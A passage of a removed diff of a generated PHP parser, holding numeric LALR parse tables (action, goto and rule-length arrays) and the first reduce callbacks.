558, 558, 76, 76, 558, 558, 558, 133, 133, - 547, 547, 547, 547, 41, 217, 806, 382, 382, 382, - 382, 806, 806, 806, 806, 795, 996, 806, 806, 806, - 494, 533, 708, 649, 649, 560, -70, -70, 560, 800, - -70, 487, 975, 316, 982, -102, 807, -40, 514, -102, - 1000, 368, 639, 639, 659, 639, 639, 639, 801, 611, - 801, 1052, 836, 836, 794, 776, 894, 1082, 1065, 832, - 1106, 847, 1107, 1083, 489, 488, -16, 13, 74, 772, - 1051, 1051, 1051, 1051, 1051, 1051, 1051, 1051, 1051, 1051, - 1051, 1051, 1113, 554, 1052, -3, 1104, 1105, 1113, 1113, - 1113, 554, 554, 554, 554, 554, 554, 554, 554, 799, - 554, 554, 675, -3, 629, 636, -3, 849, 554, 797, - 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, - 512, 33, 33, 20, 5, 5, 33, 142, 52, 5, - 5, 5, 337, 5, 33, 33, 33, 611, 828, 813, - 638, -18, 814, 443, 828, 828, 828, 115, 114, 128, - 753, 837, 370, 816, 816, 835, 929, 929, 816, 834, - 816, 835, 816, 816, 929, 929, 810, 929, 202, 506, - 373, 442, 537, 929, 234, 816, 816, 816, 816, 805, - 929, 72, 544, 816, 226, 218, 816, 816, 805, 804, - 824, 808, 929, 929, 929, 805, 389, 808, 808, 808, - 853, 859, 851, 819, 361, 305, 579, 163, 830, 819, - 819, 816, 456, 851, 819, 851, 819, 790, 819, 819, - 819, 851, 819, 834, 383, 819, 736, 574, 127, 819, - 816, 19, 944, 947, 762, 950, 934, 951, 991, 952, - 954, 1070, 925, 967, 935, 955, 999, 933, 930, 831, - 699, 703, 809, 796, 919, 817, 817, 817, 912, 917, - 817, 817, 817, 817, 817, 817, 817, 817, 699, 897, - 860, 820, 976, 705, 707, 1041, 793, 1085, 1114, 975, - 944, 954, 770, 935, 955, 933, 930, 792, 791, 786, - 788, 782, 780, 777, 779, 803, 1043, 958, 789, 712, - 1012, 977, 1084, 1066, 978, 981, 1016, 1044, 861, 1045, - 1086, 838, 1087, 1090, 898, 985, 1071, 817, 911, 852, - 900, 982, 918, 699, 901, 1046, 997, 802, 1018, 1019, - 1069, 821, 844, 902, 1091, 986, 987, 988, 1073, 1074, - 798, 1003, 823, 1021, 839, 850, 1022, 1023, 1030, 1034, - 1075, 1092, 1076, 908, 1077, 866, 845, 931, 846, 1093, - 429, 843, 848, 858, 990, 584, 974, 1078, 1002, 1094, - 1035, 1036, 1039, 1095, 1096, 959, 868, 1007, 840, 1008, - 964, 869, 870, 643, 857, 1047, 841, 842, 855, 646, - 655, 1097, 1098, 1099, 966, 825, 822, 871, 875, 1048, - 829, 1050, 1100, 661, 877, 1101, 1042, 738, 743, 586, - 692, 680, 746, 818, 1079, 812, 854, 815, 989, 743, - 826, 880, 1102, 881, 883, 886, 1040, 887, 1014, 1103, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 468, 468, 468, 468, 468, 468, - 313, 313, 313, 313, 313, 468, 468, 468, 468, 468, - 468, 468, 313, 468, 468, 468, 313, 0, 0, 313, - 0, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 297, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 297, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 524, 524, - 297, 297, 297, 297, 524, 524, 524, 524, 524, 524, - 524, 524, 524, 524, 297, 297, 297, 0, 297, 297, - 297, 297, 297, 297, 297, 810, 524, 524, 524, 524, - 133, 133, 133, 133, -95, -95, -95, 524, 524, 133, - 524, 810, 524, 524, 524, 524, 524, 524, 524, 524, - 524, 0, 0, 524, 524, 524, 524, -3, -70, 524, - 834, 834, 834, 834, 524, 524, 524, 524, -70, -70, - 524, 524, 524, 0, 0, 0, 133, 133, -3, 0, - 0, -3, 391, 0, 834, 206, 834, 206, 524, 391, - 810, 374, 524, 489, 0, 0, 0, 0, 0, 0, - 0, -3, 834, -3, 554, -70, -70, 554, 554, 5, - 33, 374, 612, 612, 612, 612, 33, 0, 0, 0, - 0, 0, 611, 810, 810, 810, 810, 810, 810, 810, - 810, 810, 810, 810, 810, 834, 0, 810, 0, 810, - 810, 834, 834, 834, 0, 0, 0, 0, 0, 0, - 0, 0, 929, 0, 0, 0, 0, 0, 0, 0, - 834, 0, 929, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 834, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 817, 821, 0, 0, 821, 0, 817, 817, 817, - 0, 0, 0, 857, 829 - ); - - protected array $actionDefault = array( - 3,32767, 102,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767, 100,32767, 618, 618, - 618, 618,32767,32767, 255, 102,32767,32767, 489, 406, - 406, 406,32767,32767, 562, 562, 562, 562, 562,32767, - 32767,32767,32767,32767,32767, 489,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767, 36, 7, 8, 10, - 11, 49, 17, 328, 100,32767,32767,32767,32767,32767, - 32767,32767,32767, 102,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767, 393, 611,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767, 493, 472, 473, 475, - 476, 405, 563, 617, 331, 614, 333, 404, 145, 343, - 334, 243, 259, 494, 260, 495, 498, 499, 216, 390, - 149, 150, 436, 490, 438, 488, 492, 437, 411, 417, - 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, - 428, 429, 409, 410, 491,32767,32767, 469, 468, 467, - 434,32767,32767,32767,32767,32767,32767,32767,32767, 102, - 32767, 435, 439, 442, 408, 440, 441, 458, 459, 456, - 457, 460,32767,32767, 320,32767,32767, 461, 462, 463, - 464, 371, 195, 369,32767,32767, 443, 320, 111,32767, - 32767,32767,32767,32767,32767,32767,32767,32767, 449, 450, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767, 102,32767, 100, - 506, 556, 466, 444, 445,32767, 531,32767, 102,32767, - 533,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767, 558, 431, 433, 526, 612, 412, 615,32767, 519, - 100, 195,32767, 532, 195, 195,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767, 557,32767, 625, 519, - 110, 110, 110, 110, 110, 110, 110, 110, 110, 110, - 110, 110,32767, 195, 110,32767, 110, 110,32767,32767, - 100, 195, 195, 195, 195, 195, 195, 195, 195, 534, - 195, 195, 190,32767, 269, 271, 102, 580, 195, 536, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767, 393,32767,32767,32767,32767, 519, 454, 138, - 32767, 521, 138, 564, 446, 447, 448, 564, 564, 564, - 316, 293,32767,32767,32767,32767, 534, 534, 100, 100, - 100, 100,32767,32767,32767,32767, 111, 505, 99, 99, - 99, 99, 99, 103, 101,32767,32767,32767,32767, 224, - 32767, 101, 99,32767, 101, 101,32767,32767, 224, 226, - 213, 228,32767, 584, 585, 224, 101, 228, 228, 228, - 248, 248, 508, 322, 101, 99, 101, 101, 197, 322, - 322,32767, 101, 508, 322, 508, 322, 199, 322, 322, - 322, 508, 322,32767, 101, 322, 215, 99, 99, 322, - 32767,32767,32767,32767, 521,32767,32767,32767,32767,32767, - 32767,32767, 223,32767,32767,32767,32767,32767,32767,32767, - 32767, 551,32767, 569, 582, 452, 453, 455, 568, 566, - 477, 478, 479, 480, 481, 482, 483, 485, 613,32767, - 525,32767,32767,32767, 342,32767, 623,32767,32767,32767, - 9, 74, 514, 42, 43, 51, 57, 540, 541, 542, - 543, 537, 538, 544, 539,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 624,32767, 564,32767,32767,32767,32767, 451, 546, 590, - 32767,32767, 565, 616,32767,32767,32767,32767,32767,32767, - 32767, 138,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767, 551,32767, 136,32767,32767,32767,32767,32767, - 32767,32767,32767, 547,32767,32767,32767, 564,32767,32767, - 32767,32767, 318, 315,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 564,32767,32767,32767,32767,32767, 295,32767, 312,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767, 389, 521, 298, - 300, 301,32767,32767,32767,32767, 365,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 152, 152, 3, 3, 345, 152, 152, 152, 345, 345, - 152, 345, 345, 345, 152, 152, 152, 152, 152, 152, - 152, 281, 185, 263, 266, 248, 248, 152, 357, 152, - 391, 391, 400 - ); - - protected array $goto = array( - 194, 194, 1052, 487, 705, 278, 278, 278, 278, 990, - 489, 548, 548, 907, 865, 907, 907, 548, 714, 548, - 548, 548, 548, 548, 548, 548, 548, 166, 166, 166, - 166, 218, 195, 191, 191, 176, 178, 213, 191, 191, - 191, 191, 191, 192, 192, 192, 192, 192, 186, 187, - 188, 189, 190, 215, 213, 216, 545, 546, 428, 547, - 550, 551, 552, 553, 554, 555, 556, 557, 1169, 167, - 168, 169, 193, 170, 171, 172, 164, 173, 174, 175, - 177, 212, 214, 217, 237, 240, 251, 252, 253, 255, - 256, 257, 258, 259, 260, 261, 267, 268, 269, 270, - 276, 288, 289, 313, 314, 434, 435, 436, 607, 219, - 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, - 230, 231, 232, 233, 234, 186, 187, 188, 189, 190, - 215, 1169, 196, 197, 198, 199, 238, 179, 180, 200, - 181, 201, 197, 182, 239, 196, 163, 202, 203, 183, - 204, 205, 206, 184, 207, 208, 165, 209, 210, 211, - 185, 869, 560, 1083, 560, 560, 592, 1100, 475, 475, - 744, 646, 648, 609, 560, 668, 432, 475, 621, 692, - 695, 1025, 703, 712, 1021, 719, 558, 558, 558, 558, - 470, 613, 866, 663, 664, 463, 681, 682, 683, 1218, - 984, 984, 984, 984, 247, 247, 463, 978, 985, 355, - 355, 355, 355, 867, 923, 918, 919, 932, 875, 920, - 872, 921, 922, 873, 350, 926, 879, 1126, 1154, 1127, - 878, 245, 245, 245, 245, 242, 248, 841, 1106, 1102, - 1103, 438, 670, 402, 405, 610, 614, 433, 336, 332, - 333, 335, 602, 437, 337, 439, 647, 426, 1273, 1052, - 1273, 1273, 342, 900, 456, 456, 348, 456, 456, 1052, - 1273, 882, 1052, 520, 1052, 1052, 1052, 1052, 1052, 1052, - 1052, 1052, 1052, 343, 342, 1052, 1052, 1052, 1052, 894, - 465, 1273, 881, 508, 599, 509, 1273, 1273, 1273, 1273, - 358, 515, 1273, 1273, 1273, 1354, 1354, 1354, 1354, 862, - 358, 358, 1372, 1372, 630, 667, 895, 883, 1088, 1092, - 940, 358, 358, 1362, 941, 358, 1011, 1372, 1389, 993, - 956, 447, 956, 619, 633, 636, 637, 638, 639, 660, - 661, 662, 716, 718, 564, 569, 562, 358, 358, 1375, - 1375, 400, 983, 1055, 1055, 690, 967, 597, 862, 1047, - 1063, 1064, 456, 456, 456, 456, 456, 456, 456, 456, - 456, 456, 456, 456, 1138, 899, 456, 669, 456, 456, - 1058, 1057, 322, 562, 569, 594, 595, 324, 605, 611, - 1166, 626, 627, 1028, 1028, 1061, 1062, 632, 632, 25, - 320, 306, 1334, 1304, 1304, 1304, 1304, 1304, 1304, 1304, - 1304, 1304, 1304, 702, 1349, 1350, 1014, 843, 5, 986, - 6, 743, 445, 422, 561, 1023, 1018, 1076, 1345, 702, - 1345, 1345, 702, 603, 624, 1323, 1323, 691, 250, 250, - 1345, 1323, 1323, 1323, 1323, 1323, 1323, 1323, 1323, 1323, - 1323, 563, 589, 927, 564, 928, 563, 675, 589, 859, - 403, 469, 1356, 1356, 1356, 1356, 338, 887, 271, 319, - 625, 319, 319, 478, 606, 479, 480, 973, 351, 352, - 409, 892, 1320, 1320, 1380, 1381, 1341, 862, 1320, 1320, - 1320, 1320, 1320, 1320, 1320, 1320, 1320, 1320, 982, 417, - 713, 1268, 1264, 414, 415, 1033, 884, 440, 679, 890, - 680, 1149, 419, 420, 421, 1089, 693, 847, 1266, 423, - 440, 747, 1043, 346, 485, 1093, 1059, 1059, 330, 484, - 1347, 1348, 1140, 674, 1070, 1066, 1067, 1091, 896, 995, - 549, 549, 377, 1343, 1343, 1091, 549, 549, 549, 549, - 549, 549, 549, 549, 549, 549, 1269, 1270, 0, 1256, - 0, 847, 0, 847, 615, 857, 0, 945, 1156, 640, - 642, 644, 1256, 0, 0, 0, 0, 608, 1119, 1030, - 0, 0, 752, 752, 1271, 1331, 1332, 886, 717, 673, - 1009, 0, 0, 516, 708, 880, 1117, 1249, 959, 0, - 0, 0, 1250, 1253, 960, 0, 1254, 1263 - ); - - protected array $gotoCheck = array( - 42, 42, 73, 84, 73, 23, 23, 23, 23, 49, - 84, 162, 162, 25, 25, 25, 25, 162, 9, 162, - 162, 162, 162, 162, 162, 162, 162, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 15, 19, 128, 19, 19, 48, 15, 154, 154, - 48, 48, 48, 131, 19, 48, 13, 154, 13, 48, - 48, 48, 48, 48, 48, 48, 107, 107, 107, 107, - 156, 107, 26, 86, 86, 19, 86, 86, 86, 156, - 19, 19, 19, 19, 5, 5, 19, 19, 19, 24, - 24, 24, 24, 27, 15, 15, 15, 15, 15, 15, - 15, 15, 15, 15, 97, 15, 15, 146, 146, 146, - 15, 5, 5, 5, 5, 5, 5, 6, 15, 15, - 15, 66, 66, 59, 59, 59, 59, 66, 66, 66, - 66, 66, 66, 66, 66, 66, 66, 43, 73, 73, - 73, 73, 174, 45, 23, 23, 185, 23, 23, 73, - 73, 35, 73, 76, 73, 73, 73, 73, 73, 73, - 73, 73, 73, 174, 174, 73, 73, 73, 73, 35, - 83, 73, 35, 160, 178, 160, 73, 73, 73, 73, - 14, 160, 73, 73, 73, 9, 9, 9, 9, 22, - 14, 14, 188, 188, 56, 56, 16, 16, 16, 16, - 73, 14, 14, 187, 73, 14, 103, 188, 14, 16, - 9, 83, 9, 81, 81, 81, 81, 81, 81, 81, - 81, 81, 81, 81, 14, 76, 76, 14, 14, 188, - 188, 62, 16, 89, 89, 89, 89, 104, 22, 89, - 89, 89, 23, 23, 23, 23, 23, 23, 23, 23, - 23, 23, 23, 23, 16, 16, 23, 64, 23, 23, - 119, 119, 76, 76, 76, 76, 76, 76, 76, 76, - 155, 76, 76, 107, 107, 120, 120, 108, 108, 76, - 175, 175, 14, 108, 108, 108, 108, 108, 108, 108, - 108, 108, 108, 7, 184, 184, 50, 7, 46, 50, - 46, 50, 113, 14, 50, 50, 50, 115, 131, 7, - 131, 131, 7, 2, 2, 176, 176, 117, 5, 5, - 131, 176, 176, 176, 176, 176, 176, 176, 176, 176, - 176, 9, 9, 65, 14, 65, 9, 121, 9, 18, - 9, 9, 131, 131, 131, 131, 29, 39, 24, 24, - 80, 24, 24, 9, 9, 9, 9, 92, 97, 97, - 28, 9, 177, 177, 9, 9, 131, 22, 177, 177, - 177, 177, 177, 177, 177, 177, 177, 177, 93, 93, - 93, 20, 166, 82, 82, 110, 37, 118, 82, 9, - 82, 153, 82, 82, 82, 130, 82, 12, 14, 82, - 118, 99, 114, 82, 157, 133, 118, 118, 9, 182, - 182, 182, 149, 118, 118, 118, 118, 131, 41, 96, - 179, 179, 138, 131, 131, 131, 179, 179, 179, 179, - 179, 179, 179, 179, 179, 179, 20, 20, -1, 20, - -1, 12, -1, 12, 17, 20, -1, 17, 17, 85, - 85, 85, 20, -1, -1, -1, -1, 8, 8, 17, - -1, -1, 24, 24, 20, 20, 20, 17, 8, 17, - 17, -1, -1, 8, 8, 17, 8, 79, 79, -1, - -1, -1, 79, 79, 79, -1, 79, 17 - ); - - protected array $gotoBase = array( - 0, 0, -289, 0, 0, 203, 227, 406, 569, 8, - 0, 0, 223, -162, 5, -186, -143, 93, 152, -101, - 102, 0, 31, 2, 206, 10, 188, 209, 142, 172, - 0, 0, 0, 0, 0, -104, 0, 166, 0, 149, - 0, 90, -1, 234, 0, 237, -329, 0, -555, -9, - 404, 0, 0, 0, 0, 0, 274, 0, 0, 198, - 0, 0, 309, 0, 141, 439, 6, 0, 0, 0, - 0, 0, 0, -5, 0, 0, 1, 0, 0, 183, - 146, -28, 4, 12, -475, 82, -535, 0, 0, 74, - 0, 0, 151, 196, 0, 0, 89, -267, 0, 108, - 0, 0, 0, 291, 314, 0, 0, 158, 162, 0, - 131, 0, 0, 145, 100, 153, 0, 156, 243, 101, - 112, 167, 0, 0, 0, 0, 0, 0, 161, 0, - 135, 165, 0, 76, 0, 0, 0, 0, -209, 0, - 0, 0, 0, 0, 0, 0, -44, 0, 0, 81, - 0, 0, 0, 157, 134, 148, -76, 77, 0, 0, - -210, 0, -224, 0, 0, 0, 129, 0, 0, 0, - 0, 0, 0, 0, -33, 84, 200, 247, 265, 305, - 0, 0, 231, 0, 36, 236, 0, 292, 7, 0, - 0 - ); - - protected array $gotoDefault = array( - -32768, 521, 754, 4, 755, 949, 830, 839, 585, 539, - 715, 347, 634, 429, 1339, 925, 1155, 604, 858, 1282, - 1288, 464, 861, 327, 741, 937, 908, 909, 406, 393, - 874, 404, 658, 635, 502, 893, 460, 885, 494, 888, - 459, 897, 162, 425, 518, 901, 3, 904, 567, 935, - 988, 394, 912, 395, 686, 914, 588, 916, 917, 401, - 407, 408, 1160, 596, 631, 929, 254, 590, 930, 392, - 931, 939, 397, 399, 696, 474, 513, 507, 418, 1121, - 591, 618, 655, 453, 481, 629, 641, 628, 488, 441, - 424, 326, 972, 980, 495, 472, 994, 349, 1002, 749, - 1168, 649, 497, 1010, 650, 1017, 1020, 540, 541, 486, - 1032, 264, 1035, 498, 1044, 23, 676, 1049, 1050, 677, - 651, 1072, 652, 678, 653, 1074, 471, 586, 1082, 461, - 1090, 1328, 462, 1094, 262, 1097, 277, 353, 376, 442, - 1104, 1105, 9, 1111, 706, 707, 19, 273, 517, 1139, - 697, 1145, 272, 1148, 458, 1167, 457, 1237, 1239, 568, - 499, 1257, 310, 1260, 689, 514, 1265, 454, 1330, 455, - 542, 482, 334, 543, 1373, 305, 356, 331, 559, 311, - 357, 544, 483, 1336, 1344, 328, 31, 1363, 1374, 601, - 623 - ); - - protected array $ruleToNonTerminal = array( - 0, 1, 3, 3, 2, 5, 5, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, - 7, 7, 7, 7, 7, 8, 8, 9, 10, 11, - 11, 11, 12, 12, 13, 13, 14, 15, 15, 16, - 16, 17, 17, 18, 18, 21, 21, 22, 23, 23, - 24, 24, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 4, 29, 29, 30, 30, 32, 34, 34, - 28, 36, 36, 33, 38, 38, 35, 35, 37, 37, - 39, 39, 31, 40, 40, 41, 43, 44, 44, 45, - 45, 46, 46, 48, 47, 47, 47, 47, 49, 49, - 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, - 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, - 49, 49, 25, 25, 50, 69, 69, 72, 72, 71, - 70, 70, 63, 75, 75, 76, 76, 77, 77, 78, - 78, 79, 79, 80, 80, 80, 26, 26, 27, 27, - 27, 27, 27, 88, 88, 90, 90, 83, 83, 91, - 91, 92, 92, 92, 84, 84, 87, 87, 85, 85, - 93, 94, 94, 57, 57, 65, 65, 68, 68, 68, - 67, 95, 95, 96, 58, 58, 58, 58, 97, 97, - 98, 98, 99, 99, 100, 101, 101, 102, 102, 103, - 103, 55, 55, 51, 51, 105, 53, 53, 106, 52, - 52, 54, 54, 64, 64, 64, 64, 81, 81, 109, - 109, 111, 111, 112, 112, 112, 112, 112, 112, 112, - 110, 110, 110, 115, 115, 115, 115, 89, 89, 118, - 118, 118, 119, 119, 116, 116, 120, 120, 122, 122, - 123, 123, 117, 124, 124, 121, 125, 125, 125, 125, - 113, 113, 82, 82, 82, 20, 20, 20, 127, 126, - 126, 128, 128, 128, 128, 60, 129, 129, 130, 61, - 132, 132, 133, 133, 134, 134, 86, 135, 135, 135, - 135, 135, 135, 135, 135, 141, 141, 142, 142, 143, - 143, 143, 143, 143, 144, 145, 145, 140, 140, 136, - 136, 139, 139, 147, 147, 146, 146, 146, 146, 146, - 146, 146, 146, 146, 146, 137, 148, 148, 150, 149, - 149, 138, 138, 114, 114, 151, 151, 153, 153, 153, - 152, 152, 62, 104, 154, 154, 56, 56, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 161, 162, 162, 163, 155, 155, 160, 160, - 164, 165, 165, 166, 167, 168, 168, 168, 168, 19, - 19, 73, 73, 73, 73, 156, 156, 156, 156, 170, - 170, 159, 159, 159, 157, 157, 176, 176, 176, 176, - 176, 176, 176, 176, 176, 176, 177, 177, 177, 108, - 179, 179, 179, 179, 158, 158, 158, 158, 158, 158, - 158, 158, 59, 59, 173, 173, 173, 173, 173, 180, - 180, 169, 169, 169, 169, 181, 181, 181, 181, 181, - 74, 74, 66, 66, 66, 66, 131, 131, 131, 131, - 184, 183, 172, 172, 172, 172, 172, 172, 171, 171, - 171, 182, 182, 182, 182, 107, 178, 186, 186, 185, - 185, 187, 187, 187, 187, 187, 187, 187, 187, 175, - 175, 175, 175, 174, 189, 188, 188, 188, 188, 188, - 188, 188, 188, 190, 190, 190, 190 - ); - - protected array $ruleToLength = array( - 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, - 1, 0, 1, 1, 2, 1, 3, 4, 1, 2, - 0, 1, 1, 1, 1, 4, 3, 5, 4, 3, - 4, 1, 3, 1, 1, 8, 7, 2, 3, 1, - 2, 3, 1, 2, 3, 1, 1, 3, 1, 3, - 1, 2, 2, 3, 1, 3, 2, 3, 1, 3, - 3, 2, 0, 1, 1, 1, 1, 1, 3, 7, - 10, 5, 7, 9, 5, 3, 3, 3, 3, 3, - 3, 1, 2, 5, 7, 9, 6, 5, 6, 3, - 2, 1, 1, 1, 1, 0, 2, 1, 3, 8, - 0, 4, 2, 1, 3, 0, 1, 0, 1, 0, - 1, 3, 1, 1, 1, 1, 8, 9, 7, 8, - 7, 6, 8, 0, 2, 0, 2, 1, 2, 1, - 2, 1, 1, 1, 0, 2, 0, 2, 0, 2, - 2, 1, 3, 1, 4, 1, 4, 1, 1, 4, - 2, 1, 3, 3, 3, 4, 4, 5, 0, 2, - 4, 3, 1, 1, 7, 0, 2, 1, 3, 3, - 4, 1, 4, 0, 2, 5, 0, 2, 6, 0, - 2, 0, 3, 1, 2, 1, 1, 2, 0, 1, - 3, 0, 2, 1, 1, 1, 1, 1, 1, 1, - 7, 9, 6, 1, 2, 1, 1, 1, 1, 1, - 1, 1, 1, 3, 3, 3, 1, 3, 3, 3, - 3, 3, 1, 3, 3, 1, 1, 2, 1, 1, - 0, 1, 0, 2, 2, 2, 4, 3, 1, 1, - 3, 1, 2, 2, 3, 2, 3, 1, 1, 2, - 3, 1, 1, 3, 2, 0, 1, 5, 7, 5, - 6, 10, 3, 5, 1, 1, 3, 0, 2, 4, - 5, 4, 4, 4, 3, 1, 1, 1, 1, 1, - 1, 0, 1, 1, 2, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 2, 1, 3, 1, 1, - 3, 0, 2, 0, 3, 5, 8, 1, 3, 3, - 0, 2, 2, 2, 3, 1, 0, 1, 1, 3, - 3, 3, 4, 4, 1, 1, 2, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 2, 2, 2, 2, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 5, 4, 3, - 4, 4, 2, 2, 4, 2, 2, 2, 2, 2, - 2, 2, 2, 2, 2, 2, 1, 3, 2, 1, - 2, 4, 2, 2, 8, 9, 8, 9, 9, 10, - 9, 10, 8, 3, 2, 2, 1, 1, 0, 4, - 2, 1, 3, 2, 1, 2, 2, 2, 4, 1, - 1, 1, 1, 1, 1, 1, 1, 3, 1, 1, - 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 3, 5, 3, 3, - 4, 1, 1, 3, 1, 1, 1, 1, 1, 3, - 2, 3, 0, 1, 1, 3, 1, 1, 1, 1, - 1, 1, 3, 1, 1, 1, 4, 1, 4, 4, - 0, 1, 1, 1, 3, 3, 1, 4, 2, 2, - 1, 3, 1, 4, 3, 3, 3, 3, 1, 3, - 1, 1, 3, 1, 1, 4, 1, 1, 1, 3, - 1, 1, 2, 1, 3, 4, 3, 2, 0, 2, - 2, 1, 2, 1, 1, 1, 4, 3, 3, 3, - 3, 6, 3, 1, 1, 2, 1 - ); - - protected function initReduceCallbacks(): void { - $this->reduceCallbacks = [ - 0 => null, - 1 => static function ($self, $stackPos) { - $self->semValue = $self->handleNamespaces($self->semStack[$stackPos-(1-1)]); - }, - 2 => static function ($self, $stackPos) { - if ($self->semStack[$stackPos-(2-2)] !== null) { $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; } $self->semValue = $self->semStack[$stackPos-(2-1)];; - }, - 3 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 4 => static function ($self, $stackPos) { - $nop = $self->maybeCreateZeroLengthNop($self->tokenPos);; - if ($nop !== null) { $self->semStack[$stackPos-(1-1)][] = $nop; } $self->semValue = $self->semStack[$stackPos-(1-1)]; - }, - 5 => null, - 6 => null, - 7 => null, - 8 => null, - 9 => null, - 10 => null, - 11 => null, - 12 => null, - 13 => null, - 14 => null, - 15 => null, - 16 => null, - 17 => null, - 18 => null, - 19 => null, - 20 => null, 